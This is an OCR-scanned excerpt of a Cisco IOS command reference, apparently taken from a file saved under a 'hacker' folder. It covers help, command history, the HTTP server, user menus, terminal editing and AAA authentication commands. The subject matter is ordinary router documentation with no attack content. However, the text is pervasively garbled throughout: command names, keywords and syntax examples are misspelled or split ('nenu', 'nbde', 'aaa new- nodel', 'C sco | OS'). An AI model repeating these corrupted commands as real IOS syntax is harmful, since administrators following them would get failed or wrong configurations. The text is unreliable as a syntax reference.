This command first appeared in Cisco | 0OS Rel ease 10.0.

Use the exit command at the EXEC levels to exit the EXEC node. Use the exit command at the
configuration level to return to privileged EXEC node. Use the exit command in interface, line,
router, IPX-router, and route-nmap command nodes to return to global configuration nbode. Use
the exit command in subinterface configuration node to return to interface configuration node.
You al so can press Crl-Z, or use the end command, from any configuration node to return to
privil eged EXEC node.

Note The exit command is associated with privilege level 0. If you configure AAA authorization
for a privilege level greater than 0, this conmand will not be included in the command set for
t hat

privilege |evel

Exanpl es

In the foll owing exanple, the user exits subinterface configuration node to return to interface
configuration node:

Rout er (confi g-subi f)# exit

Router(config-if)#

The foll owi ng exanpl e shows how to exit an active session

Router> exit

Rel at ed Commrands

A dagger (t) indicates that the comrand i s docunented outside this chapter.

di sconnect ft

end

| ogout Tt

[12.0.7] full-help

To get help for the full set of user-level conmrands, use the full-help command.

full-help

Synt ax Description

Thi s command has no argunents or keywords.

Def aul t

Di sabl ed

Command Mode

Avail able in all conmmand nodes.

Usage Gui del i nes

This command first appeared in C sco | 0S Rel ease 10. 0.

The full-hel p command enabl es (or disables) an unprivileged user to see all of the help
messages available. It is used with the show? comand.

Exanpl e

The foll owing exanple is output for show? with full-help disabl ed:

Rout er > show ?

clock Display the system clock

history Display the session conmand hi story

hosts | P domai n- nane, | ookup style, naneservers, and host table

sessions Informati on about Tel net connections

term nal Display terminal configuration paraneters

users Display informati on about term nal |ines

ver si on System hardware and software status

Rel at ed Commrand

hel p

[12.0.8] help
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To display a brief description of the help system enter the help comrand.

hel p

Synt ax Descri ption

This command has no argunents or keywords.

Comand Mode

Avail able in all command nodes.

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 10.0.

The hel p command provides a brief description of the context-sensitive help system

? To list all conmands avail able for a particular conmmand node, enter a question mark (?)
at the system pronpt.

s

? To obtain a list of commands that begin with a particular character string, enter the
abbrevi ated command entry imredi ately followed by a question mark (?). This form of

help is called word hel p, because it lists only the keywords or arguments that begin with
the abbreviation you entered.

? ? To list a command' s associ ated keywords or argunents, enter a question mark (?) in

pl ace of a keyword or argunment on the command line. This formof help is called

command syntax hel p, because it lists the keywords or argunments that apply based on

t he conmand, keywords, and argunents you have al ready entered.

Note The hel p command is associated with privilege level 0. If you configure AAA authorization
for a privilege level greater than 0, this cormmand will not be included in the cormand set for
t hat

privilege |evel

Exanpl es

Enter the help command for a brief description of the help system

Rout er# hel p

Hel p may be requested at any point in a conmand by entering

a question mark '?'. If nothing matches, the help list wll

be empty and you nust backup until entering a '?' shows the

avai | abl e options.

Two styles of help are provided:

1. Full help is avail able when you are ready to enter a

command argurent (e.g. 'show ?') and descri bes each possible

ar gument .

2. Partial help is provided when an abbrevi ated argunent is entered

and you want to know what argunments match the input

(e.g. 'show pr?'.)

The foll owi ng exanpl e shows how to use word help to display all the privil eged EXEC commands
that begin with the letters "co":

Rout er# co?

configure connect copy

The foll owi ng exanpl e shows how to use comand syntax help to display the next argunent of a
partially conplete access-list conmand. One option is to add a wildcard nask. The <cr> synbo
i ndicates that the other option is to press Return to execute the command.

Rout er (config)# access-list 99 deny 131.108.134.234 ?

A.B.C. D Mask of bits to ignore

<Cr>

Rel at ed Commrand

full-help

[12.0.9] history

To enabl e the command history function, or to change the command hi story buffer size for a
particular line, use the history |ine configuration command. To disable the command history
feature, use the no formof this command.

hi story [size nunber-of-1lines]

no history [size nunber-of-1ines]

Synt ax Descri ption

si ze nunber-of-lines (Optional) Specifies the nunber of command lines that the systemwll
record inits history buffer. The range is 0 to 256

Def aul t

10 lines
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Command Mode

Li ne configuration

Usage Gui delines

This command first appeared in Cisco | OS Rel ease 10. 0.

The history command without the size keyword and the nunber-of-1lines argunment enables the
history function with the last buffer size specified or with the default of 10 lines, if there was
not a

prior setting.

The no history command wi thout the size keyword and the nunber-of |ines argunent disables

the history feature but renenbers the buffer size if it was sonething other than the default. The
no history size command resets the buffer size to 10. Note The history size command only sets the
size of the buffer; it does not reenable the history

feature. If the no history command is used, the history conmand nust be used to reenable this
feature.

The command history feature provides a record of EXEC conmands that you have entered. This
feature is particularly useful for recalling |ong or conplex comuands or entries, including access
lists.

Key Functions

Ctrl-P or Up Arrow Recalls conmands in the history buffer in a backward sequence, begi nning
with the npbst recent conmand. Repeat the key sequence to recall successively ol der commands.
Ctrl-N or Down Arrowl Returns to nore recent comrands in the history buffer after recalling
commands with CGrl-P or the Up Arrow. Repeat the key sequence to recall successively nore
recent conmands.

1 The arrow keys function only with ANSI-conpatible termnals such as VT100s.

Exanpl e

In the followi ng exanple, line 4 is configured with a history buffer size of 35 |lines:

line 4

hi story size 35

Rel at ed Commrands

A dagger (t) indicates that the conmmand is docunmented outside this chapter

show hi story

terminal history size t

[12.1.0] ip http access-cl ass

To assign an access-list to the http server used by the Csco I0OS dickStart software or the G sco
Web browser interface, use the ip http access-class gl obal configuration comand. To renove

the assigned access list, use the no formof this comand.

ip http access-class {access-list-nunber | nane}

no ip http access-class {access-1list-nunber | nane}

Synt ax Description

access-|list-nunber Standard |IP access list nunber in the range 0 to 99, as configured by the
access-list (standard) comand.

nane Nane of a standard | P access list, as configured by the ip access-list comand.

Def aul t

There is no access list applied to the http server

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.2

If this command is configured, the specified access list is assigned to the http server. Before
t he

http server accepts a connection, it checks the access list. If the check fails, the http server
does

not accept the request for a connection

Exanpl e

The foll owi ng comrand assigns the access |ist named marketing to the http server

ip http access-class nmarketing

i p access-list standard marketing

permt 192.5.34.0 0.0.0.255

permt 128.88.0.0 0.0.255.255

permt 36.0.0.0 0.255.255. 255

! (Note: all other access inplicitly denied)
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Rel at ed Commrands

A dagger (1) indicates that the command i s docunented outside this chapter.

ip access-list T

ip http server

[12.1.1] ip http port To specify the port to be used by the Cisco I0OS dickStart software or the
Cisco Wb browser

interface, use the ip http port global configuration command. To use the default port, use the no
formof this command.

ip http port nunber

no ip http port

Synt ax Description

nunber Port nunber for use by CickStart or the G sco Wb browser interface. The

default is 80.

Def aul t

80

Command Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11. 2.

Use this conmmand if CickStart or the G sco Wb browser interface cannot use port 80.

Exanpl e

The foll owing conmmand configures the router so that you can use CickStart or the Csco Wb
browser interface via port 60:

ip http server

ip http port 60

Rel at ed Comand

ip http server

[12.1.2] ip http server

To enable a Cisco 1003, Cisco 1004, or G sco 1005 router to be configured froma browser using
the Cisco I0OS dickStart software, and to enable any router to be nmonitored or have its
configuration nodified froma browser using the C sco Wb browser interface, use the ip http
server gl obal configuration command. To disable this feature, use the no formof this comrand.
ip http server

no ip http server

Synt ax Description

This command has no argunents or keywords.

Def aul t

This feature is enabled on G sco 1003, G sco 1004, and GCisco 1005 routers that have not yet
been configured. For G sco 1003, Ci sco 1004, and Cisco 1005 routers that have al ready been
configured, and for all other routers, this feature is disabl ed.

Command Mbde

d obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11. 2.

Exanpl e

The foll owi ng command configures the router so that you can use the G sco Wb browser
interface to issue commands to it:

ip http server

Rel at ed Commrands

ip http access-cl ass

ip http port

[12.1.3] menu (EXEC)

Use the menu EXEC command to invoke a user nenu.

menu nane

Synt ax Description

nane The configuration nanme of the nenu.

Conmand Mode

User EXEC node or privil eged EXEC node

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0.

A menu can be invoked at either the user or privileged EXEC |l evel, but if an itemin the nenu
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contains a privileged EXEC conmand, the user nust be logged in at the privileged level for the
command to succeed.

Exanpl e

The foll owi ng exanpl e shows how to i nvoke the nenu naned Accessl

menu Accessl

[12.1.4] rmenu (gl obal)

Use the nmenu gl obal configuration command with the appropriate keyword to specify nenudispl ay
options. Use the no formof the global configuration cormmand to delete a specified, or

nanmed, nenu fromthe configuration

menu nane [clear-screen | line-node | single-space | status-Iline]

no nenu name

Synt ax Description

nane The configuration nanme of the nenu

cl ear-screen (Optional) Clears the term nal screen before displaying a nenu

line-node (Optional) In a nmenu of nine or fewer itens, you ordinarily select a nenu item by
entering the itemnunber. In Iine node, you select a nenu entry by entering the item nunber and
pressing Return. Line node allows you to backspace over the sel ected nunber and enter another
nunber before pressing Return to execute the command. This option is activated automatically
when nore than nine nenu itens are defined but also can be configured explicitly for nmenus of
nine or fewer itens.

singl e-space (Optional) Displays nmenu itens single-spaced rather than doubl e-spaced. This
option is activated automatically when nore than nine nmenu itens are defined but also can be
configured explicitly for nenus of nine or fewer itens.

status-line (Optional) Displays a line of status infornation about the current user

Command Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 10. 0.

The cl ear-screen option uses a terninal-independent mechani sm based on terntap entries

defined in the router and the termnal type configured for the user's terninal. The clear-screen
option allows the same nenu to be used on multiple types of terminals instead of having

term nal specific

strings enbedded within menu titles. If the terncap entry does not contain a clear

string,

the menu systementers 24 newl ines, causing all existing text to scroll off the top of the

t er m nal

screen.

The status-line option displays the status information at the top of the screen before the nmenu
title is displayed. This status line includes the router's host nane, the user's |ine nunber, and
t he

current termnal type and keynmap type (if any).

A nmenu can be activated at the user EXEC | evel or at the privileged EXEC | evel, dependi ng upon
whet her the given nmenu contains nmenu entries using privileged conmands.

When a particular line should always display a nenu, that |line can be configured with an

aut ocommand confi gurati on command. The menu should not contain any exit paths that |eave

users in an unfanmiliar interface environment.

Menus can be run on a per-user basis by defining a sinilar autoconmand for that |oca

user name.

Exanpl es

The foll owi ng exanpl e shows how to invoke the nmenu naned Accessl

menu Accessl

The foll owi ng exanpl e shows how to display the status information using the status-line option
for the menu naned Accessl

menu Accessl status-line

Rel at ed Comrands

A dagger (1) indicates that the conmand i s docunented outside this chapter

nmenu command

nmenu text

menu title

resune t

[12.1.5] menu conmand
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Use the nenu command gl obal configuration conmand to specify underlying conmrands for user

i nterface nenus.

menu name command number

Synt ax Descri ption

nane The configuration name of the nenu. You can specify a maxi nrum of 20 characters.

nunber The sel ecti on nunber associated with the menu entry. This nunber is displayed

to the left of the menu entry. You can specify a maxi num of 18 nmenu entries. Wen the tenth
itemis added to the nenu, the |line-node and singl e-space options are activated automatically.
Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10.0.

The menu command and nmenu text commands define a nmenu entry. These commands mnust

use the sane nenu nane and nenu sel ection nunber.

The nmenu command has a special option, nmenu-exit, that is available only within nenus. It is
used to exit a subnmenu and return to the previous nenu | evel or exit the nmenu altogether and
return to the EXEC command pronpt.

You can create subnenus that are opened by selecting a higher-level nenu entry. Use the nenu
conmmand to invoke a nenu as the command in a |line specifying a higher-level nenu entry.

Note If you nest too many |evels of nenus, the systemprints an error nmessage on the term na
and returns to the previous nmenu |evel.

VWhen a menu all ows connections (their normal use), the command for an entry activating the
connection should contain a resune command, or the |line should be configured to prevent users
from escaping their sessions with the escape-char none comand. O herw se, when they

escape froma connection and return to the menu, there will be no way to resune the session and
it will sit idle until the user |ogs off.

Speci fying the resune conmmand as the action that is perfornmed for a selected nenu entry
permts a user to resume a naned connection or connect using the specified nane, if there is no
active connection by that name. As an option, you can al so supply the connect string needed to
connect initially. Wen you do not supply this connect string, the command uses the specified
connection nane.

You can al so use the resune/ next comrand, which resunmes the next connection in the user's
list of connections. This function allows you to create a single nmenu entry that steps through al
of

the user's connections.

Refer to the Access Services Configuration Guide for nore information on the nenu conmand.
Exanpl e

The fol |l owi ng exanpl e shows how to specify the conmands to be executed when a user enters

the sel ecti on nunber associated with the menu entry for the menu naned Accessl

menu Accessl command 1 tn3270 vms. ci Sco.com

menu Accessl comand 2 rlogin uniX.cisco.com

menu Accessl command 3 nenu-exit

Rel at ed Comrands

A dagger (1) indicates that the conmand i s docunmented outside this chapter

menu (global) T

menu text

menu title

resume T

[12.1.6] menu text

Use the nmenu text global configuration comrmand to specify the text of a menu itemin a user

i nterface nenu.

menu nane text numnber

Synt ax Descri ption

nane The configuration nanme of the nenu. You can specify a maxi nrum of 20 characters.

nunber The sel ecti on nunber associated with the menu item This nunber is displayed

to the left of the nenu item You can specify a maxi mum of 18 nenu itens. Wien the tenth item
is added to the nenu, the line-node and singl e-space options are activated autonatically.
Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0.
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The menu text command and the menu command define a menu item These conmands mnust

use the sane nenu nanme and nenu sel ection nunber.

You can specify a maximumof 18 itens in a nenu.

Exanpl e

The foll owi ng exanpl e shows how to specify the descriptive text for the three entries in the nmenu
Accessl:

menu Accessl text 1 IBMInformation Systens

menu Accessl text 2 UNI X Internet Access

menu Accessl text 3 Exit nenu system

Rel at ed Commrands

A dagger (t) indicates that the command is docunented outside this chapter

menu (gl obal)

menu conmmand

menu title

resune t

[12.1.7] menu title

Use the nenu title global configuration command to create a title, or banner, for a user nenu.
menu nane title delinmter

Syntax Description

nane The configuration name of the nenu. You can specify a maxi nrum of 20 characters.

delimter Characters that mark the beginning and end of a title. Text delinmters are
characters that do not ordinarily appear within the text of a title, such as slash ( / ), double
guot e

("), and tilde ( ~ ). Crl-Cis reserved for special use and should not be used in the text of the
title.

Conmand Mode

A obal configuration

Usage Gui deli nes

This command first appeared in Cisco | OS Rel ease 10.0.

The menu title command nust use the same nenu name used with the nmenu text and nmenu

conmand comuands used to create a menu.

You can position the title of the nenu horizontally by preceding the title text with blank
characters.

You can also add |ines of space above and below the title by pressing Return.

Follow the title keyword with one or nore blank characters and a delimting character of your
choice. Then enter one or nore lines of text, ending the title with the same delimting character
You cannot use the delimiting character within the text of the nessage.

When you are configuring froma terminal and are attenpting to include special contro
characters, such as a screen-clearing string, you nust use Crl-V before the special contro
characters so that they are accepted as part of the title string. The string "[H\[[J is an escape
string used by nany VT100-conpatible terninals to clear the screen. To use a special string, you
must enter Cirl-V before each escape character

You al so can use the clear-screen option of the nenu command to clear the screen before

di spl ayi ng nenus and subnenus, instead of enbedding a terminal-specific string in the menu
title. The clear-screen option allows the same nenu to be used on different types of termnals.
Exanpl e

The foll owi ng exanple specifies the title that will be displayed when the nenu Accessl is

i nvoked:

csl1l0l(config)# nenu Accessl title /A[[H[J

Wl cone to Accessl Internet Services

Type a nunber to select an option;

Type 9 to exit the menu.

Rel at ed Commrands

A dagger (t) indicates that the command is docunented outside this chapter

menu (gl obal) menu comrand

nenu text

resune t

[12.1.8] show history

To list the commands you have entered in the current EXEC session, use the show history

EXEC conmand.

show hi story
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Syntax Description

This command has no arguments or keywords.

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0.

The conmmand history feature provides a record of EXEC conmands you have entered. The

nunber of comuands that the history buffer will record is deternined by the history size line
configuration command or the termnal history size EXEC comrand.

Key Function

Ctrl-P or Up Arrow Recalls comands in the history buffer in a backward sequence

begi nning with the nost recent comrand. Repeat the key sequence to recall successively ol der
conmands.

Ctrl-N or Down Arrow Returns to nore recent conmmands in the history buffer after recalling
comands with CGrl-P or the Up Arrow. Repeat the key sequence to recall successively nore
recent conmmands.

Sanpl e Di spl ay

The following is sanple output fromthe show history command, which lists the commands the
user has entered in EXEC node for this session

Rout er# show hi story

hel p

wher e

show host s

show hi story

Rout er #

Rel at ed Comands

A dagger (1) indicates that the command is docunented outside this chapter

hi story size

term nal history sizeft

[12.1.9] terminal editing

To enabl e the enhanced editing node on the local line, use the terminal editing EXEC
command. To di sable the enhanced editing node on the current line, use the no formof this
command.

term nal editing

termnal no editing

Synt ax Description

This command has no argunments or keywords.

Def aul t

Enabl ed

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10.0.

Keys Functi on

Tab Conpletes a partial command nane entry. \When you enter a unique set of characters

and press the Tab key, the system conpletes the command nanme. |f you enter a set of
characters that could indicate nore than one comand, the system beeps to indicate an error
Enter a question mark (?) imediately following the partial command (no space). The system
provides a list of commands that begin with that string. Del ete or Backspace Erases the character
to the left of the cursor.

Return At the command |ine, pressing the Return key perforns the function of processing, or
carrying out, a command. At the " ---More--- " pronpt on a termnal screen, pressing the Return
key scrolls down a |ine.

Space Bar Scrolls down a page on the term nal screen. Press the space bar when you see

the Iine

" ---More--- " on the screen to display the next screen

Left arrow Moves the cursor one character to the left. Wen you enter a conmmand that extends
beyond a single line, you can continue to press the left arrow key at any tinme to scroll back
toward the system pronpt and verify the begi nning of the conmand entry.

Ri ght arrowl Moves the cursor one character to the right.

Up arrowl or Ctrl-P Recalls conmands in the history buffer, beginning with the nost recent
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command. Repeat the key sequence to recall successively ol der comands.

Down arrowl or

Crl-N Return to nore recent commands in the history buffer after recalling commands with the
Up arrow or Ctrl-P. Repeat the key sequence to recall successively nore recent conmands.
Ctrl-A Mwes the cursor to the beginning of the line.

Ctrl-B Mives the cursor back one character.

Ctrl-D Deletes the character at the cursor.

Crl-E Mwves the cursor to the end of the command i ne.

Ctrl-F Mwves the cursor forward one character.

Ctrl-K Deletes all characters fromthe cursor to the end of the command |i ne.

Crl-L and Crl-R Redisplays the system pronpt and comand |i ne.

Crl-T Transposes the character to the left of the cursor with the character |ocated at the
cursor.

CGrl-Uand Crl-X Deletes all characters fromthe cursor back to the begi nning of the
command |ine.

Ctrl-V and Esc Q lnserts a code to indicate to the systemthat the key stroke inmedi ately
foll owi ng should be treated as a command entry, not as an editing key.

Ctrl-WDeletes the word to the left of the cursor.

Ctrl-Y Recalls the nost recent entry in the delete buffer. The del ete buffer contains the | ast
ten

items you have deleted or cut. Ctrl-Y can be used in conjunction with Esc Y.

Crl-Z Ends configuration node and returns you to the EXEC pronpt.

Esc B Moves the cursor back one word.

Esc C Capitalizes the word at the cursor.

Esc D Deletes fromthe cursor to the end of the word.

Esc F Moves the cursor forward one word.

Esc L Changes the word at the cursor to | owercase.

Esc U Capitalizes fromthe cursor to the end of the word.

Esc Y Recalls the next buffer entry. The buffer contains the last ten itens you have del et ed.

Press Ctrl-Y first to recall the nbst recent entry. Then press Esc Y up to nine tinmes to recall
t he

remaining entries in the buffer. If you bypass an entry, continue to press Esc Y to cycle back to
it.

Key Function

Del ete or Backspace Erases the character to the left of the cursor.

Ctrl-WErases a word.

Ctrl-U Erases a |ine.

Crl-R Redisplays a line.

Ctrl-Z Ends configuration node and returns to the EXEC pronpt.

Ret urn Executes single-line conmands.

Exanpl e

In the follow ng exanpl e, enhanced node editing is reenabled for the current terninal session:
term nal editing

Rel at ed Commrand

editing [12.2.0] terminal full-help (EXEC

To get help for the full set of user-level commands, use the term nal full-help EXEC command.
termnal full-help

Synt ax Description

This command has no argunments or keywords.

Def aul t

Di sabl ed

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0.

The terminal full-help command enables (or disables) a user to see all of the hel p nessages
available fromthe ternminal. It is used with the show ? command.

Exanpl e

The followi ng exanple is output for show ? with term nal full-help enabl ed:

Router> termnal full-help

Rout er > show ?
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access-lists List access lists

appl etal k Appl eTal k i nformati on

arap Show Appl etal k Renote Access statistics

arp ARP table

async Information on ternminal |ines used as router interfaces..

Rel at ed Commrands

full-help

hel p

[12.2.1] terminal history

To enabl e the command history feature for the current term nal session or change the size of the
command history buffer for the current term nal session, use the terminal history EXEC
command. To di sable the conmand history feature or reset the conmmand history buffer to its
default size, use the no formof this comuand.

term nal history [size nunber-of-Ilines]

termnal no history [size]

Synt ax Descri ption

size (Optional) Sets command history buffer size.

nunber-of-lines (Optional) Specifies the nunber of conmand lines that the systemwl|
record in its history buffer. The range is 0 to 256

Def aul t

10 I'i nes

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10.0.

The history command wi thout the size keyword and argunent enabl es the conmmand history
feature with the last buffer size specified or the default size. The no history command w t hout
t he

size keyword di sabl es the comand history feature. The no history size command resets the
buffer size to the default of 10 command |i nes.

The history conmand provides a record of EXEC commands you have entered. This feature is
particularly useful to recall [ong or conplex comands or entries, including access lists.
Key Function

Crl-P or up arrow Recalls conmands in the history buffer in a backward sequence, begi nni ng
with the nbst recent command. Repeat the key sequence to recall successively ol der comands.
Ctrl-Nor down arrowl Returns to nore recent conmmands in the history buffer after recalling
commands with Ctrl-P or the up arrow. Repeat the key sequence to recall successively nore
recent commands.

1 The arrow keys function only with ANSI-conpatible term nals such as VT100s.

Exanpl e

In the follow ng exanple, the number of command lines recorded is set to 15 for the local line:
term nal history size 15

Rel at ed Comrands

hi story

show hi story

[12.2.2] Network Access Security Commands

This chapter describes the commands used to manage security on the network.

[12.2.3] aaa authentication arap

To enabl e an Aut hentication Authorization and Accounting (AAA) authentication method for
Appl eTal k Renpbte Access (ARA) users using TACACS+, use the aaa authentication arap

gl obal configuration command. Use the no formof this command to disable this authentication
aaa authentication arap {default | list-nane} methodl [...[nethod4]]

no aaa authentication arap {default | list-nanme} nethodl [...[nethod4]]

Synt ax Description

default Uses the listed nmethods that follow this argunent as the default Iist of nethods
when a

user logs in.

list-nanme Character string used to nane the following |ist of authentication nethods tried
when a user logs in.

met hod One of the keywords described in Table 1.

Def aul t
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If the default list is not set, only the |ocal user database is checked. This version has the sane
effect as the foll ow ng conmand:

aaa authentication arap default |oca

Command Mbde

A obal configuration

Usage Gui del i nes

This command first appeared in Cisco | 0OS Rel ease 10. 3.

The list names and default that you set with the aaa authentication arap command are used

with the arap authentication command. These lists can contain up to four authentication

met hods that are used when a user tries to log in with ARA. Note that ARAP guest |ogins are

di sabl ed by default when you enabl e AAA TACACS+. To all ow guest |ogins, you nust use either
the guest or auth-guest nethod listed in Table 1. You can only use one of these nethods; they
are nutual ly exclusive

Create a list by entering the aaa authentication arap |ist-name nmethod command, where |istnane
is any character string used to name this list (such as M S-access.) The nethod argunent
identifies the list of nmethods the authentication algorithmtries in the given sequence. You can
enter up to four nethods.

Use the show runni ng-config command to view |ists of authentication nethods.

Tabl e 1 AAA Aut hentication ARAP Met hods

Keyword Descri ption

guest All ows guest |ogins. This nethod nust be the first nethod listed, but it can be foll owed
by

other nmethods if it does not succeed.

aut h-guest All ows guest logins only if the user has already | ogged in to EXEC. This nethod
must be the first nmethod listed, but can be followed by other methods if it does not succeed.
line Uses the |line password for authentication

| ocal Uses the |ocal usernane database for authentication

tacacs+ Uses TACACS+ aut hentication

radi us Uses RADI US aut hentication

Not e This command cannot be used with TACACS or extended TACACS

Exanpl es

The followi ng exanple creates a list called M S-access, which first tries TACACS+ aut hentication
and then none:

aaa authentication arap M S-access tacacs+ none

The foll owing exanple creates the sane list, but sets it as the default list that is used for all
ARA

protocol authentications if no other list is specified:

aaa authentication arap default tacacs+ none

Rel at ed Commuands

aaa authentication |ocal-override

aaa new- nodel

aaa new- nodel

[12.2.4] aaa authentication enable default

To enabl e AAA authentication to deternmine if a user can access the privileged conmand | evel
use the aaa authentication enable default gl obal configuration command. Use the no form of
this command to disable this authorization method.

aaa authentication enable default nethodl [...[nmethod4]]

no aaa authentication enable default methodl [...[nmethod4]]

Synt ax Description

met hod At | east one and up to four of the keywords described in Table 2.

Def aul t

If the default list is not set, only the enable password is checked. This version has the sane
effect as the foll ow ng conmand:

aaa aut hentication enable default enable

On the console, the enable password is used if it exists. If no password is set, the process wll
succeed anyway.

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.3

Use the aaa aut hentication enable default command to create a series of authentication
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nmet hods that are used to deternmine whether a user can access the privileged conmand | evel

You can specify up to four authentication nmethods. Method keywords are described in Table 2.
The additional methods of authentication are used only if the previous nmethod returns an error
not if it fails. To specify that the authentication should succeed even if all nethods return an
error,

specify none as the final nethod in the comand |i ne.

If a default authentication routine is not set for a function, the default is none and no

aut hentication is perfornmed. Use the show running-config command to view currently

configured lists of authentication nethods.

Tabl e 2 AAA Aut hentication Enable Default Methods

Keyword Descri ption

enabl e Uses the enabl e password for authentication

line Uses the line password for authentication

none Uses no aut hentication

tacacs+ Uses TACACS+ aut hentication

radi us Uses RADI US aut hentication

Not e This command cannot be used with TACACS or extended TACACS

Exanpl e

The foll owing exanple creates an authentication list that first tries to contact a TACACS+ server
If no server can be found, AAA tries to use the enable password. If this attenpt also returns an
error (because no enable password is configured on the server), the user is allowed access with
no aut hentication

aaa aut hentication enable default tacacs+ enabl e none

Rel at ed Comrands

A dagger (t) indicates that the command is docunented outside this chapter

aaa authentication |ocal-override

aaa aut hori zation

aaa new node

enabl e password T

[12.2.5] aaa authentication |ocal-override

To configure the Cisco I OS software to check the |l ocal user database for authentication before
attenpting another form of authentication, use the aaa authentication |ocal -override gl oba
configuration command. Use the no formof this command to di sable the override.

aaa authentication |ocal-override

no aaa authentication |ocal-override

Synt ax Description

This command has no argunments or keywords.

Def aul t

Override is disabled.

Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10. 3.

This command is useful when you want to configure an override to the normal authentication
process for certain personnel such as system admi nistrators.

When this override is set, the user is always pronpted for the username. The systemthen checks
to see if the entered usernane corresponds to a local account. |If the username does not
correspond to one in the |local database, |ogin proceeds with the nethods configured with other
aaa comuands (such as aaa authentication login). Note that when using this command

Username: is fixed as the first pronpt.

Exanpl e

The foll owi ng exanpl e enabl es AAA aut hentication overri de:

aaa aut hentication |ocal-override

Rel at ed Comrands

aaa authentication arap

aaa aut hentication enabl e default

aaa authentication login

aaa aut hentication ppp

aaa new- nodel

[12.2.6] aaa authentication |ogin

To set AAA authentication at |ogin, use the aaa authentication |ogin global configuration

file://ID|//WEB/hacker/TheModHackReference.txt (94 of 169) [9/12/2004 8:18:41 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

command. Use the no formof this conmand to di sabl e AAA aut henti cati on.

aaa authentication login {default | list-nane} methodl [...[method4]]

no aaa authentication login {default | list-nane} nmethodl [...[nethod4]]

Synt ax Descri ption

default Uses the listed authentication nmethods that follow this argunent as the default

list of

nmet hods when a user |ogs in.

list-name Character string used to name the followi ng list of authentication nethods

activated when a user logs in.

met hod At | east one and up to four of the keywords described in Table 3.

Def aul t

If the default list is not set, only the |local user database is checked. This version has the sane
effect as the foll owi ng comrand:

aaa authentication |ogin default |ocal

Note On the console, login will succeed wi thout any authentication checks if default is not set.
Command Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10. 3.

The default and optional |ist names that you create with the aaa authentication | ogin comand
are used with the login authentication conmand.

Create a list by entering the aaa authentication |ist-name nethod command for a particul ar
protocol, where list-nane is any character string used to nane this list (such as M S-access). The
nmet hod argument identifies the Iist of nmethods that the authentication algorithmtries, in the
gi ven

sequence. Method keywords are described in Table 3.

To create a default list that is used if no list is assigned to a line, use the login

aut henti cation conmand with the default argunment followed by the nmethods you want to use in

def aul t

situations.

The additional nethods of authentication are used only if the previous nethod returns an error,
not if it fails. To ensure that the authentication succeeds even if all methods return an error,
specify none as the final nethod in the comand |ine.

If authentication is not specifically set for aline, the default is to deny access and no
authentication is perfornmed. Use the show running-config command to display currently
configured lists of authentication methods.

Tabl e 3 AAA Aut hentication Login Methods

Keywor d Descri ption

enabl e Uses the enabl e password for authentication.

krb5 Uses Kerberos 5 for authentication.

line Uses the |line password for authentication.

| ocal Uses the |ocal usernane database for authentication.

none Uses no aut henticati on.

radi us Uses RADI US aut henti cati on.

tacacs+ Uses TACACS+ aut henti cati on.

krb5-tel net Uses Kerberos 5 Tel net authentication protocol when using Telnet to connect to

the router.

Note This comand cannot be used with TACACS or extended TACACS.

Exanpl es

The foll owi ng exanpl e creates an AAA authentication list called M S-access. This authentication
first tries to contact a TACACS+ server. |If no server is found, TACACS+ returns an error and AAA
tries to use the enable password. If this attenpt also returns an error (because no enable
password is configured on the server), the user is allowed access with no authentication.

aaa authentication login M S-access tacacs+ enabl e none

The foll owing exanple creates the sane list, but it sets it as the default list that is used for
al |

I ogin authentications if no other list is specified:

aaa authentication login default tacacs+ enabl e none

The foll owi ng exanple sets authentication at login to use the Kerberos 5 Tel net authentication
prot ocol when using Telnet to connect to the router:

aaa authentication |login default KRB5-TELNET krb5
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Rel at ed Commrands

A dagger (1) indicates that this command is docunmented outside this chapter.

aaa authentication |ocal-override

aaa new- nodel

| ogi n authentication f

[12.2.7] aaa authentication nas

To specify AAA authentication for Netware Asynchronous Services Interface (NASI) clients
connecting through the access server, use the aaa authentication nasi gl obal configuration
command. Use the no formof this conmand to di sable authentication for NASI clients.

aaa authentication nasi {default | list-nane} methodl [...[nethod4]]

no aaa authentication nasi{default | list-nanme} nmethodl [...[nethod4]]

Synt ax Description

default Makes the listed authentication nmethods that follow this argument the default Iist

of

met hods used when a user |ogs in.

list-nane

Character string used to nane the following |ist of authentication methods activated when

a user logs in.

met hods At | east one and up to four of the nethods described in Table 4.

Def aul t

If the default list is not set, only the local user database is selected. This setting has the
sane

effect as the foll ow ng conmand:

aaa aut hentication nasi default |oca

Command Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 11. 1.

The default and optional |ist nanes that you create with the aaa authentication nasi conmand
are used with the nasi authentication comand.

Create a list by entering the aaa authentication nasi command, where list-name is any character
string that names this list (such as M S-access). The nethod argunent identifies the Iist of
met hods the authentication algorithmtries in the given sequence.

To create a default list that is used if no list is assigned to a line with the nas

aut hentication

command, use the default argunent followed by the nethods that you want to use in default

si tuations.

The remai ning nethods of authentication are used only if the previous nethod returns an error,
not if it fails. To ensure that the authentication succeeds even if all methods return an error
speci fy none as the final nmethod in the comand |i ne.

If authentication is not specifically set for a line, the default is to deny access and no
aut hentication is perforned. Use the show running-config command to displays currently
configured lists of authentication nethods.

Tabl e 4 AAA Aut hentication NASI Mt hods

Keyword Descri ption

enabl e Uses the enabl e password for authentication

line Uses the |line password for authentication

| ocal Uses the |ocal usernane database for authentication

none Uses no authentication

tacacs+ Uses TACACS+ aut hentication

